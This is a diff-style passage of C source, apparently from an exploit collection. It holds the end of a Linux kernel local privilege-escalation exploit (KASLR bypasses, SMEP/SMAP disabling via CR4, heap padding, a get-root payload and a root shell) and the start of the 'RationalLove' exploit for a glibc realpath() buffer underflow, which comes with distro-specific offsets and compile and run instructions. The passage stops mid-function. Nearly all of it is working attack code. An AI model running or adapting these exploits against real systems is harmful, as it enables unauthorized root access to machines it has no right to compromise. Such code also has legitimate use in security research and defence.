|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
|
||||
#if !ENABLE_SMEP_SMAP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
switch(rv) {
|
||||
case 1: // SMEP
|
||||
CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
break;
|
||||
case 2: // SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
case 3: // SMEP and SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
size = (size / getpagesize() + 1) * getpagesize();
|
||||
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
const char *needle1 = "Freeing SMP";
|
||||
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
for (size = 0; substr[size] != '\n'; size++);
|
||||
|
||||
const char *needle2 = "ffff";
|
||||
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
get_kernel_version(&version[0], 32);
|
||||
strcat(path, &version[0]);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processors\n", nprocs);
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid potential
|
||||
// memory corruptions when closing packet sockets.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
check_procs();
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (pid != 0) {
|
||||
dprintf("[.] performing exploit...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4);
|
||||
#endif
|
||||
|
||||
dprintf("[.] padding heap\n");
|
||||
kmalloc_pad(KMALLOC_PAD);
|
||||
pagealloc_pad(PAGEALLOC_PAD);
|
||||
dprintf("[.] done, heap is padded\n");
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
|
||||
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
|
||||
dprintf("[.] done, SMEP & SMAP should be off now\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing get root payload %p\n", &get_root_payload);
|
||||
oob_id_match_execute((void *)&get_root_payload);
|
||||
dprintf("[.] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
while (1) sleep(1000);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -1,977 +0,0 @@
|
||||
/** This software is provided by the copyright owner "as is" and any
|
||||
* expressed or implied warranties, including, but not limited to,
|
||||
* the implied warranties of merchantability and fitness for a particular
|
||||
* purpose are disclaimed. In no event shall the copyright owner be
|
||||
* liable for any direct, indirect, incidential, special, exemplary or
|
||||
* consequential damages, including, but not limited to, procurement
|
||||
* of substitute goods or services, loss of use, data or profits or
|
||||
* business interruption, however caused and on any theory of liability,
|
||||
* whether in contract, strict liability, or tort, including negligence
|
||||
* or otherwise, arising in any way out of the use of this software,
|
||||
* even if advised of the possibility of such damage.
|
||||
*
|
||||
* Copyright (c) 2018 halfdog <me (%) halfdog.net>
|
||||
* See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
|
||||
*
|
||||
* This tool exploits a buffer underflow in glibc realpath()
|
||||
* and was tested against latest release from Debian, Ubuntu
|
||||
* Mint. It is intended as demonstration of ASLR-aware exploitation
|
||||
* techniques. It uses relative binary offsets, that may be different
|
||||
* for various Linux distributions and builds. Please send me
|
||||
* a patch when you developed a new set of parameters to add
|
||||
* to the osSpecificExploitDataList structure and want to contribute
|
||||
* them.
|
||||
*
|
||||
* Compile: gcc -o RationalLove RationalLove.c
|
||||
* Run: ./RationalLove
|
||||
*
|
||||
* You may also use "--Pid" parameter, if you want to test the
|
||||
* program on already existing namespaced or chrooted mounts.
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <poll.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
#define UMOUNT_ENV_VAR_COUNT 256
|
||||
|
||||
/** Dump that number of bytes from stack to perform anti-ASLR.
|
||||
* This number should be high enough to reproducible reach the
|
||||
* stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
|
||||
* environment variable references but low enough to avoid hitting
|
||||
* upper stack limit, which would cause a crash.
|
||||
*/
|
||||
#define STACK_LONG_DUMP_BYTES 4096
|
||||
|
||||
char *messageCataloguePreamble="Language: en\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=UTF-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n";
|
||||
|
||||
/** The pid of a namespace process with the working directory
|
||||
* at a writable /tmp only visible by the process. */
|
||||
pid_t namespacedProcessPid=-1;
|
||||
|
||||
int killNamespacedProcessFlag=1;
|
||||
|
||||
/** The pathname to the umount binary to execute. */
|
||||
char *umountPathname;
|
||||
|
||||
/** The pathname to the named pipe, that will synchronize umount
|
||||
* binary with supervisory process before triggering the second
|
||||
* and last exploitation phase.
|
||||
*/
|
||||
char *secondPhaseTriggerPipePathname;
|
||||
|
||||
/** The pathname to the second phase exploitation catalogue file.
|
||||
* This is needed as the catalogue cannot be sent via the trigger
|
||||
* pipe from above.
|
||||
*/
|
||||
char *secondPhaseCataloguePathname;
|
||||
|
||||
/** The OS-release detected via /etc/os-release. */
|
||||
char *osRelease=NULL;
|
||||
|
||||
/** This table contains all relevant information to adapt the
|
||||
* attack to supported Linux distros (fully updated) to support
|
||||
* also older versions, hash of umount/libc/libmount should be
|
||||
* used also for lookups.
|
||||
* The 4th string is an array of 4-byte integers with the offset
|
||||
* values for format string generation. Values specify:
|
||||
* * Stack position (in 8 byte words) for **argv
|
||||
* * Stack position of argv[0]
|
||||
* * Offset from __libc_start_main return position from main()
|
||||
* and system() function, first instruction after last sigprocmask()
|
||||
* before execve call.
|
||||
*/
|
||||
#define ED_STACK_OFFSET_CTX 0
|
||||
#define ED_STACK_OFFSET_ARGV 1
|
||||
#define ED_STACK_OFFSET_ARG0 2
|
||||
#define ED_LIBC_GETDATE_DELTA 3
|
||||
#define ED_LIBC_EXECL_DELTA 4
|
||||
static char* osSpecificExploitDataList[]={
|
||||
// Debian Stretch
|
||||
"\"9 (stretch)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"from_archive",
|
||||
// Delta for Debian Stretch "2.24-11+deb9u1"
|
||||
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
|
||||
// Ubuntu Xenial libc=2.23-0ubuntu9
|
||||
"\"16.04.3 LTS (Xenial Xerus)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
|
||||
"\"18.3 (Sylvia)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
NULL};
|
||||
|
||||
char **osReleaseExploitData=NULL;
|
||||
|
||||
/** Locate the umount binary within the given search path list,
|
||||
* elements separated by colons.
|
||||
* @return a pointer to a malloced memory region containing the
|
||||
* string or NULL if not found.
|
||||
*/
|
||||
char* findUmountBinaryPathname(char *searchPath) {
|
||||
char *testPathName=(char*)malloc(PATH_MAX);
|
||||
assert(testPathName);
|
||||
|
||||
while(*searchPath) {
|
||||
char *endPtr=strchr(searchPath, ':');
|
||||
int length=endPtr-searchPath;
|
||||
if(!endPtr) {
|
||||
length=strlen(searchPath);
|
||||
endPtr=searchPath+length-1;
|
||||
}
|
||||
int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
|
||||
searchPath, "umount");
|
||||
if(result>=PATH_MAX) {
|
||||
fprintf(stderr, "Binary search path element too long, ignoring it.\n");
|
||||
} else {
|
||||
struct stat statBuf;
|
||||
result=stat(testPathName, &statBuf);
|
||||
// Just assume, that umount is owner-executable. There might be
|
||||
// alternative ACLs, which grant umount execution only to selected
|
||||
// groups, but it would be unusual to have different variants
|
||||
// of umount located searchpath on the same host.
|
||||
if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
|
||||
return(testPathName);
|
||||
}
|
||||
}
|
||||
searchPath=endPtr+1;
|
||||
}
|
||||
|
||||
free(testPathName);
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Get the value for a given field name.
|
||||
* @return NULL if not found, a malloced string otherwise.
|
||||
*/
|
||||
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
|
||||
int nameLength=strlen(fieldName);
|
||||
while(dataLength>0) {
|
||||
char *nextPos=memchr(releaseData, '\n', dataLength);
|
||||
int lineLength=dataLength;
|
||||
if(nextPos) {
|
||||
lineLength=nextPos-releaseData;
|
||||
nextPos++;
|
||||
} else {
|
||||
nextPos=releaseData+dataLength;
|
||||
}
|
||||
if((!strncmp(releaseData, fieldName, nameLength))&&
|
||||
(releaseData[nameLength]=='=')) {
|
||||
return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
|
||||
}
|
||||
releaseData=nextPos;
|
||||
dataLength-=lineLength;
|
||||
}
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Detect the release by reading the VERSION field from /etc/os-release.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int detectOsRelease() {
|
||||
int handle=open("/etc/os-release", O_RDONLY);
|
||||
if(handle<0)
|
||||
return(-1);
|
||||
|
||||
char *buffer=alloca(1024);
|
||||
int infoLength=read(handle, buffer, 1024);
|
||||
close(handle);
|
||||
if(infoLength<0)
|
||||
return(-1);
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
|
||||
if(!osRelease)
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "NAME");
|
||||
if(osRelease) {
|
||||
fprintf(stderr, "Detected OS version: %s\n", osRelease);
|
||||
return(0);
|
||||
}
|
||||
|
||||
return(-1);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data in memory.
|
||||
* @return a pointer to newly allocated catalogue data memory
|
||||
*/
|
||||
char* createMessageCatalogueData(char **origStringList, char **transStringList,
|
||||
int stringCount, int *catalogueDataLength) {
|
||||
int contentLength=strlen(messageCataloguePreamble)+2;
|
||||
for(int stringPos=0; stringPos<stringCount; stringPos++) {
|
||||
contentLength+=strlen(origStringList[stringPos])+
|
||||
strlen(transStringList[stringPos])+2;
|
||||
}
|
||||
int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
|
||||
char *catalogueData=(char*)malloc(preambleLength+contentLength);
|
||||
memset(catalogueData, 0, preambleLength);
|
||||
int *preambleData=(int*)catalogueData;
|
||||
*preambleData++=0x950412de;
|
||||
preambleData++;
|
||||
*preambleData++=stringCount+1;
|
||||
*preambleData++=0x1c;
|
||||
*preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
|
||||
*preambleData++=0x5;
|
||||
*preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;
|
||||
|
||||
char *nextCatalogueStringStart=catalogueData+preambleLength;
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?"":origStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
|
||||
for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
|
||||
// *preambleData++=(stringPos+1);
|
||||
*preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
|
||||
}
|
||||
*catalogueDataLength=preambleLength+contentLength;
|
||||
return(catalogueData);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data from the string lists and write
|
||||
* it to the given file.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int writeMessageCatalogue(char *pathName, char **origStringList,
|
||||
char **transStringList, int stringCount) {
|
||||
int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
|
||||
if(catalogueFd<0) {
|
||||
fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
|
||||
pathName);
|
||||
return(-1);
|
||||
}
|
||||
int catalogueDataLength;
|
||||
char *catalogueData=createMessageCatalogueData(
|
||||
origStringList, transStringList, stringCount, &catalogueDataLength);
|
||||
int result=write(catalogueFd, catalogueData, catalogueDataLength);
|
||||
assert(result==catalogueDataLength);
|
||||
close(catalogueFd);
|
||||
free(catalogueData);
|
||||
return(0);
|
||||
}
|
||||
|
||||
void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
|
||||
char pathBuffer[PATH_MAX];
|
||||
int pathNameLength=0;
|
||||
while(1) {
|
||||
char *nextPathSep=strchr(pathName+pathNameLength, '/');
|
||||
if(nextPathSep) {
|
||||
pathNameLength=nextPathSep-pathName;
|
||||
} else {
|
||||
pathNameLength=strlen(pathName);
|
||||
}
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
|
||||
namespaceMountBaseDir, pathNameLength, pathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=mkdir(pathBuffer, 0755);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
if(!pathName[pathNameLength])
|
||||
break;
|
||||
pathNameLength++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/** This child function prepares the namespaced mount point and
|
||||
* then waits to be killed later on.
|
||||
*/
|
||||
static int usernsChildFunction() {
|
||||
while(geteuid()!=0) {
|
||||
sched_yield();
|
||||
}
|
||||
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
|
||||
assert(!result);
|
||||
assert(!chdir("/tmp"));
|
||||
int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
|
||||
assert(handle>=0);
|
||||
close(handle);
|
||||
sleep(100000);
|
||||
}
|
||||
|
||||
/** Prepare a process living in an own mount namespace and setup
|
||||
* the mount structure appropriately. The process is created
|
||||
* in a way allowing cleanup at program end by just killing it,
|
||||
* thus removing the namespace.
|
||||
* @return the pid of that process or -1 on error.
|
||||
*/
|
||||
pid_t prepareNamespacedProcess() {
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");
|
||||
|
||||
char *stackData=(char*)malloc(1<<20);
|
||||
assert(stackData);
|
||||
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
|
||||
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
|
||||
return(-1);
|
||||
}
|
||||
|
||||
char idMapFileName[128];
|
||||
char idMapData[128];
|
||||
sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
|
||||
int setGroupsFd=open(idMapFileName, O_WRONLY);
|
||||
assert(setGroupsFd>=0);
|
||||
int result=write(setGroupsFd, "deny", 4);
|
||||
assert(result>0);
|
||||
close(setGroupsFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
|
||||
int uidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(uidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getuid());
|
||||
result=write(uidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(uidMapFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
|
||||
int gidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(gidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getgid());
|
||||
result=write(gidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(gidMapFd);
|
||||
|
||||
// After setting the maps for the child process, the child may
|
||||
// start setting up the mount point. Wait for that to complete.
|
||||
sleep(1);
|
||||
fprintf(stderr, "Namespaced filesystem created with pid %d\n",
|
||||
namespacedProcessPid);
|
||||
}
|
||||
|
||||
osReleaseExploitData=osSpecificExploitDataList;
|
||||
if(osRelease) {
|
||||
// If an OS was detected, try to find it in list. Otherwise use
|
||||
// default.
|
||||
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
|
||||
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
|
||||
osReleaseExploitData=osSpecificExploitDataList+tPos;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
char pathBuffer[PATH_MAX];
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
|
||||
namespacedProcessPid);
|
||||
assert(result<PATH_MAX);
|
||||
char *namespaceMountBaseDir=strdup(pathBuffer);
|
||||
assert(namespaceMountBaseDir);
|
||||
|
||||
// Create directories needed for umount to proceed to final state
|
||||
// "not mounted".
|
||||
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
|
||||
// Create symlink to trigger underflows.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
result=symlink(osReleaseExploitData[1], pathBuffer);
|
||||
assert(!result||(errno==EEXIST));
|
||||
|
||||
// getdate will leave that string in rdi to become the filename
|
||||
// to execute for the next round.
|
||||
char *selfPathName=realpath("/proc/self/exe", NULL);
|
||||
